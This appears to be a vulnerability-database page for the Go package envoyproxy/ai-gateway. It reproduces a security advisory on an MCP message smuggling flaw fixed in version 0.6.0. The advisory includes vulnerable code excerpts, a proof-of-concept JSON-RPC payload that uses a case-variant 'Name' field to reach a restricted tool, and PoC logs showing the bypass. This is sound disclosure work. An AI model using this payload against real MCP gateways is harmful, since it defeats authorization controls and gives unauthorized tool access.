Vulnerabilities in pkg:golang/github.com/envoyproxy/ai-gateway
PACKAGEGHSA-4gph-2hhr-5mwg is a MODERATE envoy ai proxy - mcp vulnerability (CWE-178: Improper Handling of Case Sensitivity) affecting Github.com/envoyproxy/ai gateway libraries in the Go ecosystem. The issue involves envoy ai proxy - mcp message smuggling vulnerability. Remediation is available by upgrading affected packages to version 0.6.0.
pkg:golang/github.com/envoyproxy/ai-gateway
Vulnerability advisories affecting package pkg:golang/github.com/envoyproxy/ai-gateway. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-4gph-2hhr-5mwg | - | MODERATE | Envoy AI Proxy - MCP Message Smuggling Vulnerability |
GHSA-4gph-2hhr-5mwg at a Glance
How to Fix GHSA-4gph-2hhr-5mwg
To remediate this vulnerability, upgrade all affected Github.com/envoyproxy/ai gateway dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/envoyproxy/ai-gateway to 0.6.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/envoyproxy/ai-gateway
How to Check if You Are Affected
To determine whether your application is affected by GHSA-4gph-2hhr-5mwg, inspect your project dependencies for Github.com/envoyproxy/ai gateway:
inspect dependencies for github.com/envoyproxy/ai-gateway
Analyze the terminal output to locate any version of Github.com/envoyproxy/ai gateway in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-178: Improper Handling of Case Sensitivity, where the product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results. In Github.com/envoyproxy/ai gateway, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-4gph-2hhr-5mwg Affected Github.com/envoyproxy/ai gateway Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/envoyproxy/ai-gateway
|
Go |
< 0.6.0
|
0.6.0
|
References
Frequently Asked Questions
What is GHSA-4gph-2hhr-5mwg?
Which Github.com/envoyproxy/ai gateway versions are affected?
What version fixes GHSA-4gph-2hhr-5mwg?
Is github.com/envoyproxy/ai-gateway affected?
What CWE is associated with GHSA-4gph-2hhr-5mwg?
How can I check Go dependencies for GHSA-4gph-2hhr-5mwg?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4gph-2hhr-5mwg",
"modified" : "2026-05-19T16:18:14Z",
"published" : "2026-05-19T16:18:14Z",
"aliases" : [ ],
"summary" : "Envoy AI Proxy - MCP Message Smuggling Vulnerability",
"details" : "Envoy AI Gateway was found to be affected by a protocol parser differential vulnerability due to improper implementation of the JSON-RPC 2.0 specification. Such differential causes a MCP message alteration, potentially causing a bypass of security controls in a multi-layered architecture.\n\nAccording to the JSON RPC Spec used by Model Context Protocol, JSON RPC should be case sensitive https://www.jsonrpc.org/specification\n\n```\n[...]\nAll member names exchanged between the Client and the Server that are considered for matching of any kind should be considered to be case-sensitive. The terms function, method, and procedure can be assumed to be interchangeable.\n```\n\nThe AI Gateway is accepting and processing case-variant fields that compliant MCP implementations correctly ignore. Crucially, Envoy does not just \"pass through\" the message by acting as a transparent proxy, it alters the traffic, allowing smuggling of unwanted requests. \n\nThe following steps represent the incoming message alteration:\n1. **Incoming MCP Message**:\n\n```\n{\n id: 1,\n jsonrpc: \"2.0\",\n method: \"tools/call\",\n params: {\n name: \"backend__greet\",\n Name: \"backend__secretTool\",\n arguments: {\n name: \"World!\"\n },\n Arguments: {\n name: \"Exploit\"\n }\n }\n}\n```\n\n2. **Parses** the request, picking the non-standard `Name` field over the authorized `name` field due to internal case-insentitive parsing by libraries such as `modelcontextprotocol/go-sdk/jsonrpc` and `github.com/bytedance/sonic`\n3. **Overwrites** the authorized \"backend__greet\" value from the valid `name` field with the malicious value from the `Name` field\n4. **Normalizes** the injected \"backend__secretTool\" value (from the invalid `Name` field)\n5. **Re-serializes** the request into a new, valid MCP JRPC payload (`{\"name\": \"backend__secretTool\"}`) and forwards it upstream\n\nThis \"smuggling\" effect means Envoy actively transforms a request that might have been checked by any prior MCP-compliant implementation into a request that is **valid and altered** (from the perspective of the upstream backend), effectively introducing protocol modifications that may allow bypassing any prior authorization layer. \n\n## Root Cause Analysis\n\nThe root cause is a parser differential combined with serialization quirk typical of Go-based JSON parsers:\n\n1. **Case-Insensitive Unmarshaling** - When parsing a JSON key into a struct field, Go's `json.Unmarshal` looks for an a case-insensitive match. Go matches \"Name\" to the struct tag `json:\"name\"`. If `\"name\": \"safe\"` is also present, the last key processed wins, allowing an attacker to inject a different tool name when the MCP message reaches the Go-SDK parsing\n2. **Strict Struct-Tag Marshaling** - When converting a struct back to JSON, Go always uses the exact key specified in the Struct `json:\"...\"` tag. Consequently, an overwritten value from a cased field could be stored in a proper lowercased parameter, later processed by a spec-compliant MCP message receiver\n\nThe vulnerability involves the usage of the `jsonrpc` module of `github.com/modelcontextprotocol/go-sdk`, which is not following the MCP mandated JSON RPC spec for messages parsing, using case insensitive matching.\n\nThe non-compliant parsing primitive is `jsonrpc.DecodeMessage`, it is widely used to parse the incoming MCP messages.\nSee at:\n- `ai-gateway/internal/mcpproxy/handlers.go:242,739`\n- `ai-gateway/internal/mcpproxy/mcpproxy.go:303`\n- `ai-gateway/internal/mcpproxy/session.go:409`\n- `ai-gateway/internal/mcpproxy/sse.go:88`\n\nConsequently, internals relying on objects parsed with the cited primitive are using case-insentive parsing, also subject to Unicode to ASCII Folding. \n\nFurthermore, the internal logic is also relying on the `internal/json` package, acting as a wrapper around `github.com/bytedance/sonic` (Sonic), a high-performance JSON library that defaults to loose, case-insensitive unmarshalling.\n\n**File**: `internal/json/json.go`\n```go\nimport (\n\tsonicjson \"github.com/bytedance/sonic\"\n)\nvar (\n\tUnmarshal = sonicjson.ConfigDefault.Unmarshal\n Marshal = sonicjson.ConfigDefault.Marshal\n)\n``` \n\nIn combination with the above mentioned spec departure, the message MCP message reconstruction logic is causing an alteration of the protocol calls passing through the gateway.\n\n### Example Vulnerable Data Flow - tools/call\n\nThe alteration occurs in `ai-gateway/internal/mcpproxy/handlers.go:180` during the processing of a function `servePOST`.\n\nAs an example, we can focus on the processing of incoming MCP `tools/call` requests.\n\nWhen the gateway receives a JSON-RPC request, it executes `servePOST` function, which then calls `jsonrpc.DecodeMessage` to parse the body of the bytes read from the request.\n\nSee at `ai-gateway/internal/mcpproxy/handlers.go:235-242`\n```go\n...\n\tbody, err := io.ReadAll(r.Body)\n\tif err != nil {\n\t\terrType = metrics.MCPErrorInternal\n\t\tonErrorResponse(w, http.StatusBadRequest, err.Error())\n\t\treturn\n\t}\n\n\trawMsg, err := jsonrpc.DecodeMessage(body)\n ...\n```\n\nIf the request method is `tools/call`, the following code is executed at `ai-gateway/internal/mcpproxy/handlers.go:366`\n\n```go\n\t\tcase \"tools/call\":\n\t\t\tparams = &mcp.CallToolParams{}\n\t\t\tspan, err = parseParamsAndMaybeStartSpan(ctx, m, msg, params, r.Header)\n\t\t\tif err != nil {\n\t\t\t\terrType = metrics.MCPErrorInvalidParam\n\t\t\t\tm.l.Error(\"Failed to unmarshal params\", slog.String(\"method\", msg.Method), slog.String(\"error\", err.Error()))\n\t\t\t\tonErrorResponse(w, http.StatusBadRequest, \"invalid params\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = m.handleToolCallRequest(ctx, s, w, msg, params.(*mcp.CallToolParams), span, r)\n```\n\nAt this point, the `params` object is a `mcp.CallToolParams` struct incorrectly parsed by Anthropic's `jsonrpc.DecodeMessage` as case insentitive object. The `params` object is then passed to `handleToolCallRequest` function, which will execute the tool call.\n\nSee at definition of `handleToolCallRequest` at `ai-gateway/internal/mcpproxy/handlers.go:638`\n```go\nfunc (m *mcpRequestContext) handleToolCallRequest(ctx context.Context, s *session, w http.ResponseWriter, req *jsonrpc.Request, p *mcp.CallToolParams, span tracingapi.MCPSpan, r *http.Request) error {\n\n\t// ... REDACTED CODE TO Enforce authentication and authorizationif required by the route ...\n\n\t// Send the request to the MCP backend listener.\n\tp.Name = toolName\n\tparam, _ := json.Marshal(p)\n\tif m.l.Enabled(ctx, slog.LevelDebug) {\n\t\tlogger := m.l.With(slog.String(\"tool\", p.Name), slog.Any(\"session\", cse))\n\t\tlogger.Debug(\"Routing to backend\")\n\t}\n\tif span != nil {\n\t\tspan.RecordRouteToBackend(backend.Name, string(cse.sessionID), false)\n\t}\n\treq.Params = param\n\treturn m.invokeAndProxyResponse(ctx, s, w, backend, cse, req)\n}\n```\n\nIn the code pattern above, the final alteration of the MCP message happens. The function is using as `json` parser the wrapper around `sonic` (`ai-gateway/internal/json`), which is a case-insensitive parser, to reserialize the parameter struct with `json.Marshal`.\n\nWhen the struct is **re-marshaled**, it uses the exact casing defined in the struct's JSON tag. This allows an attacker to \"smuggle\" a malicious value through a non-standard key name, bypassing case-sensitive filters on previous stages of the request handling by other MCP-compliant components.\n\nIn conclusion, the described MCP message alteration is ensuring that the final proxied version by Envoy-AI Gateway will become \"canonical\" and delivered upstream with smuggled malicious values.\n\n### Other Message Types\n\nThe Parser Differential is not limited to `tools/call`. It is a pervasive design issue caused by the Go SDK and Sonic manipulation of MCP Messages.\n\nList of smuggling sinks:\n- `tools/call` \n- `prompts/get`\n- `resources/read`\n\nIn conclusion, the reported smuggling problem is systemic in the AI Proxy.\n\n## Proof of Concept\n\nPayload:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"backend__greet\", // SAFE: Validated & Allowed by Edge Proxy\n \"Name\": \"backend__secretTool\", // UNSAFE: By-passes Edge authz checks, altered by Envoy and delivered upstream\n \"arguments\": {\"name\": \"Exploit\"}\n },\n \"id\": 1\n}\n```\n\nScenario:\n\n<img width=\"1588\" height=\"407\" alt=\"image\" src=\"https://github.com/user-attachments/assets/326731f0-515c-489b-87f3-b386b1e1831d\" />\n\nThe full PoC can be downloaded as `envoy-security@googlegroups.com` at: https://doyensec.sendsafely.com/receive/?thread=3574-4CPK&packageCode=lAXsPv8NK0tR0VTEXno9DZjFB5Ph3eKaSER6rpiirvk#keyCode=R_jMV3ENlORCmzkka3jwupPgsUq-TqNOAoizUqzlWHg\n\nPrerequisites are having installed: Minikube, Docker and Helm.\n\nIn order to reproduce the scenario, it is sufficient to run the described stack with the commands below:\n```\nchmod +x full_PoC.sh\n./full_PoC.sh\n```\n\nThe PoC will:\n1. Start a MCP-cmpliant downstream proxy that should block requests to `backend__secretTool`\n2. Start the Envoy AI Gateway and configure it as basic router\n3. Start an upstream MCP server exposing `backend__secretTool` and `backend_greet`\n4. Send MCP `tools/call` requests to the downstream proxy to demonstrate the vulnerability\n\nIt is also possible to inspect the full traffic proccessing logs at `PoC/logs/`.\n\nThe example below shows the final PoC smuggled message received and executed by the upstream MCP Server:\n\n```\ncat PoC/logs/server_container.log\n\n...[REDACTED]...\nINFO: 10.244.0.6:33404 - \"POST /mcp HTTP/1.1\" 200 OK\n[2026-02-11T14:57:11.055237] ← PROCESSED MCP REQ: initialize\nINFO: 10.244.0.6:33404 - \"POST /mcp HTTP/1.1\" 202 Accepted\nINFO: 10.244.0.6:33420 - \"POST /mcp HTTP/1.1\" 200 OK\n[2026-02-11T14:57:11.334681] → RECEIVED MCP REQ: tools/list\n[2026-02-11T14:57:11.334924] Payload: {\n \"method\": \"tools/list\",\n \"params\": null\n}\n[2026-02-11T14:57:11.335298] ← PROCESSED MCP REQ: tools/list\n[2026-02-11T14:57:11.336396] → RECEIVED MCP REQ: tools/call\n[2026-02-11T14:57:11.336467] Payload: {\n \"task\": null,\n \"meta\": null,\n \"name\": \"greet\",\n \"arguments\": {\n \"name\": \"User\"\n }\n}\n[2026-02-11T14:57:11.336665] greet called with name=User\n[2026-02-11T14:57:11.336935] ← PROCESSED MCP REQ: tools/call\nINFO: 10.244.0.6:33420 - \"POST /mcp HTTP/1.1\" 200 OK\n[2026-02-11T14:57:11.552185] → RECEIVED MCP REQ: tools/call\n[2026-02-11T14:57:11.552341] Payload: {\n \"task\": null,\n \"meta\": null,\n \"name\": \"secretTool\",\n \"arguments\": {\n \"name\": \"ExploitUser\"\n }\n}\n[2026-02-11T14:57:11.552422] LEAK: secretTool called with name=ExploitUser\n[2026-02-11T14:57:11.552483] ← PROCESSED MCP REQ: tools/call\n```\n\nWhile below is reported the log of the downstream compliant proxy that allowed the message as compliant `greet` command before it was smuggled by Envoy AI Proxy:\n\n```\n2026-02-11 14:57:11,408 - downstream-proxy - INFO - Incoming request: method='tools/call' params={'name': 'backend__secretTool', 'arguments': {'name': 'Hacker'}} jsonrpc='2.0' id=3 [tool: backend__secretTool]\n2026-02-11 14:57:11,408 - downstream-proxy - INFO - Inspecting tools/call for tool: backend__secretTool\n2026-02-11 14:57:11,408 - downstream-proxy - WARNING - BLOCKED: Attempt to call restricted tool 'backend__secretTool'\nINFO: 127.0.0.1:33768 - \"POST /mcp HTTP/1.1\" 403 Forbidden\n2026-02-11 14:57:11,514 - downstream-proxy - INFO - Incoming request: method='tools/call' params={'name': 'backend__greet', 'arguments': {'name': 'ExploitUser'}, 'Name': 'backend__secretTool'} jsonrpc='2.0' id=3 [tool: backend__greet]\n2026-02-11 14:57:11,514 - downstream-proxy - INFO - Inspecting tools/call for tool: backend__greet\n2026-02-11 14:57:11,514 - downstream-proxy - INFO - ALLOWED: Tool 'backend__greet' passed policy check.\n2026-02-11 14:57:11,578 - httpx - INFO - HTTP Request: POST http://envoy-default-aigw-run-85f8cf28.envoy-gateway-system.svc.cluster.local:1975/mcp \"HTTP/1.1 200 OK\"\nINFO: 127.0.0.1:33780 - \"POST /mcp HTTP/1.1\" 200 OK\n```\n\n## Impact\nThis vulnerability makes downstream authorization layers ineffective when Envoy AI Gateway is used as a router. By altering the message content, Envoy effectively acts as a \"Confused Deputy\" that:\n1. **Trusted Input**: Takes input trusted by the other MCP-compliant actors \n2. **Malicious Transformation**: Converts it into a totally different, but compliant, MCP message. Violating the transparency nature of proxies and altering a valid request into a malicious one\n3. **Trusted Output**: Sends it off as a valid request to the upstream backend\n\nAuthentication and Authorization guarantees provided by prior actors or MCP manipulations are nullified because the original message **is not** the message the target Backend receives.\n\n## Remediation\n\n1. Strict Protocol Compliance\nEnvoy AI Gateway must enforce **Strict Case Sensitivity** during JSON unmarshalling to comply with JSON-RPC 2.0.\n\n2. Reject Unknown Fields In Protocol Reserved Areas\nEnable `DisallowUnknownFields`.\n\n3. Preserve Integrity\nIf Envoy acts as a transparent router, it should avoid unnecessary re-serialization of the payload body unless modification is explicitly required and safe. If normalization is required, it must be lossless and strictly validated.\n\nIt should be highlighted that after our root-cause analysis, `github.com/modelcontextprotocol/go-sdk` is ultimately responsible for the initial part the issue. As a result, we would expect the maintainers to fix the vulnerability upstream.\n\nAs a general recommendation, Envoy AI Gateway should use a JSON RPC parser and subsequent JSON parsing strategies in `sonic` which are following the SPEC to prevent the differentials, forcing the case sensitive matching on MCP messages. \n\nDoyensec has already reported the Go-SDK violation of the JSON RPC Specification via Hackerone.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/envoyproxy/ai-gateway"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.6.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/envoyproxy/ai-gateway/security/advisories/GHSA-4gph-2hhr-5mwg"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/envoyproxy/ai-gateway"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-178" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-19T16:18:14Z",
"nvd_published_at" : null
}
}